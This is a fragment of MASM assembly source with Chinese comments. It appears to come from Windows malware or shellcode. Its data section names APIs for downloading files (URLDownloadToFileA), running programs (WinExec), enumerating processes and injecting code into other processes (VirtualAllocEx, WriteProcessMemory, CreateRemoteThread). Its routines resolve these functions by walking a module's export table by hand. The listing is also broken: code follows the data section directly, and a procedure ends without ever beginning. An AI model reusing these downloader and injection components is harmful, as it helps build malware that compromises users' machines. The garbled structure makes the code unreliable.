;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; I N C L U D E F I L E S
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
include windows.inc
include masm32.inc
include user32.inc
include hal.inc
.data
NtosFunction equ this byte
db 'DbgPrint',0
db 00h
KernelFunction equ this byte
db 'GetSystemDirectoryA',0
db 'ReadFile',0
db 'WinExec',0
db 'OpenProcess',0
db 'VirtualAllocEx',0
db 'WriteProcessMemory',0
db 'CreateRemoteThread',0
db 'CloseHandle',0
db 'lstrcat',0
db 'CreateFileA',0
db 'LoadLibraryA',0
db 'GetProcAddress',0
db 'CreateToolhelp32Snapshot',0
db 'Process32First',0
db 'Process32Next',0
db 00h
UserFunction equ this byte
db 'MessageBoxA',0
db 00h
URLMonFunction equ this byte
db 'URLDownloadToFileA',0
db 00h
mov edi,dword ptr[eax]
add edi,ebx ;edi指向地址数组第一项
push eax
push edi
mov eax,edi
g3:
mov edi,[eax]
add edi,ebx ;edi指向函数名
mov esi,edx
push ecx
cld
repz cmpsb
pop ecx
jz g4
add eax,4h
jmp g3
g4:
pop edi
sub eax,edi
mov edi,eax
pop eax
add edi,ebx
add edi,dword ptr[eax-4h]
mov eax,dword ptr[edi]
add eax,ebx
ret
GetAPI endp
GetAPIs proc
@begin:
cmp byte ptr[esi],0
jz finish
push eax
push esi
push edi
call GetAPI
pop edi
pop esi
cld
stosd
add esi,ecx
pop eax
jmp @begin
finish:
ret
GetAPIs endp